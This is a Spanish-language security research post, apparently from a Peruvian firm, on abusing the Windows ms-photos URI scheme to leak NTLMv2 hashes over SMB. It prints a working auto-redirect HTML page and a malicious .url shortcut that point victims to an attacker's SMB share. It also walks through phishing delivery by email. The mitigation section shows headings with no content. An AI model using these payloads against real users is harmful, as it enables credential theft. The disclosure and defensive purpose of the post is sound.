La seguridad en entornos Windows sigue enfrentándose a desafíos constantes debido a la persistente explotación de credenciales NTLM (protocolo de autenticación de redes basado en dominio de Windows). En esta investigación, analizamos una vulnerabilidad en el servicio viewer de MS-Photos (photos.exe), que permite la filtración de hashes NTLMv2 de forma remota sin necesidad de interacción avanzada por parte del usuario.
Este artículo detalla cómo funciona la vulnerabilidad, los vectores de ataque asociados y su impacto sobre las organizaciones. Además, se incluyen recomendaciones de mitigación para minimizar los riesgos asociados.
La aplicación
Microsoft Photos (photos.exe)
implementa el esquema de localización de recursos (URI) bajo la denominación de
MS-Photos
[1],
diseñada para facilitar la apertura de imágenes (viewer) mediante enlaces. Por ejemplo, para que un usuario visualice el archivo de nombre “imagen.jpg” a través de Microsoft Photos se le enviaría la siguiente URI:
ms-photos:viewer?fileName=c:\users\userName\Pictures\image.jpg
Sin embargo, este mecanismo puede ser abusado para provocar conexiones SMB (protocolo de Microsoft para uso compartido de archivos)
[2]
a servidores remotos, lo que permite extraer los hashes NTLMv2
[3]
usando la autenticación NTLM y enviarlos al atacante.
Imagen 1: Proceso de autenticación vía NTLM
Un atacante puede alojar una página web maliciosa con JavaScript que genera una solicitud a un recurso SMB remoto mediante el servicio viewer de
MS-Photos (photos.exe). Cuando la víctima accede a la página, el navegador muestra un mensaje solicitando confirmación para abrir la imagen. Si la víctima acepta, su máquina intentará autenticarse con el recurso
SMB externo, filtrando su hash
NTLMv2.
A continuación, se muestra el código del archivo
“index.html” que un atacante utilizará para publicar un sitio web con un enlace malicioso que use el esquema
MS-Photos:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Open ms-photos URI</title>
</head>
<body>
<a id="link" href="ms-photos:photo?fileName=\\attacker\share\image.png"></a>
<script>
function navigateToLink() {
var link = document.getElementById('link');
if (link) {
var url = link.getAttribute('href');
window.location.href = url;
}
}
window.onload = navigateToLink;
</script>
</body>
</html>
El atacante debe desplegar el servidor web con el archivo “index.html” indicado.
Imagen 2: Despliegue del servidor web malicioso
Además, el atacante debe implementar un proceso que solicite la autenticación NTLM a la víctima, cuando ésta acceda a la URI maliciosa con el esquema
ms-photos
y ejecute el el servicio viewer de
Microsoft Photos (photos.exe).
Imagen 3: Proceso de autenticación NTLM en el servidor web malicioso
Luego, el atacante debe enviar el enlace hacia el servidor web malicioso publicado a la víctima. Luego, la víctima debe acceder al servidor web y autorizar que se abra la URL maliciosa incluida en index.html con la aplicación
Microsoft Photos (photos.exe).
Imagen 4: Autorización de la víctima para abrir con otra aplicación la URL maliciosa
Seguidamente, el atacante recibe el hash con las credenciales NTLMv2 de la víctima, sin que la víctima reciba alguna notificación o indicio sobre la explotación de la vulnerabilidad.
Imagen 5: Hash con las credenciales NTLMv2 de la víctima
En este vector de ataque, un atacante envía un archivo de extensión .url que invoque al viewer Microsoft Photos (photos.exe). Si la víctima lo abre, Microsoft Photos se ejecutará automáticamente y enviará el hash NTLMv2 a un servidor SMB remoto controlado por el atacante.
Imagen 6: Envío de email con un enlace malicioso usando el servicio de viewer ms-photo
El atacante debe desplegar un servidor con una imagen arbitraria que invoque el proceso de autenticación NTLM, la ruta del servidor debe registrarse en un archivo con extensión .url usando el esquema MS-Photo. Un ejemplo del contenido del archivo malicioso con extensión .url se muestra a continuación:
[InternetShortcut]
URL=ms-photos:photo?fileName=\\172.16.12.129\share\image.png
El atacante debe adjuntar el archivo .url dentro de un email y enviarlo a la víctima.
Imagen 7: Email con archivo adjunto malicioso
Imagen 8: Archivo adjunto descargado por la víctima
Imagen 9: Contenido del archivo malicioso
El atacante debe esperar a que la víctima abra el correo y autorice la apertura del archivo .url con Microsoft Photos (ms-photos), inmediatamente el atacante recibirá las credenciales NTLMv2 de la víctima en el servidor desplegado previamente.
Imagen 10: Hash con las credenciales NTLMv2 de la víctima
La vulnerabilidad descrita es especialmente atractiva para los atacantes y su explotación debería catalogarse como parte de una amenaza avanzada persistente (APT) para la cualquier organización, debido a:
Para reducir el riesgo de este tipo de ataques, se recomienda:
El abuso del servicio de visualización con Microsoft Photos (photos.exe) representa un riesgo significativo de filtración de credenciales NTLMv2. La explotación de esta funcionalidad no requiere privilegios elevados ni exploits complejos, lo que lo convierte en un método atractivo para atacantes.
La detección y mitigación de este tipo de amenazas requieren un enfoque proactivo mediante la implementación de controles de seguridad adecuados y la concienciación de los usuarios. Proteger los entornos Windows contra estas técnicas es fundamental para evitar accesos no autorizados y la propagación de amenazas dentro de la infraestructura empresarial.
Puedes contactarnos para saber cómo podemos ayudarte a mejorar la postura de ciberseguridad de tu organización probando este y otros escenarios de ataque avanzados.
Edificio Leuro
Miraflores, Lima 15074, Perú
Gracias por suscribirte a nuestro boletín.
Parece que hubo un error. Por favor reintenta más tarde.
Deep Security del Perú S.A.C - RUC 20600837622 | Realizado por WSI - Dinámica Digital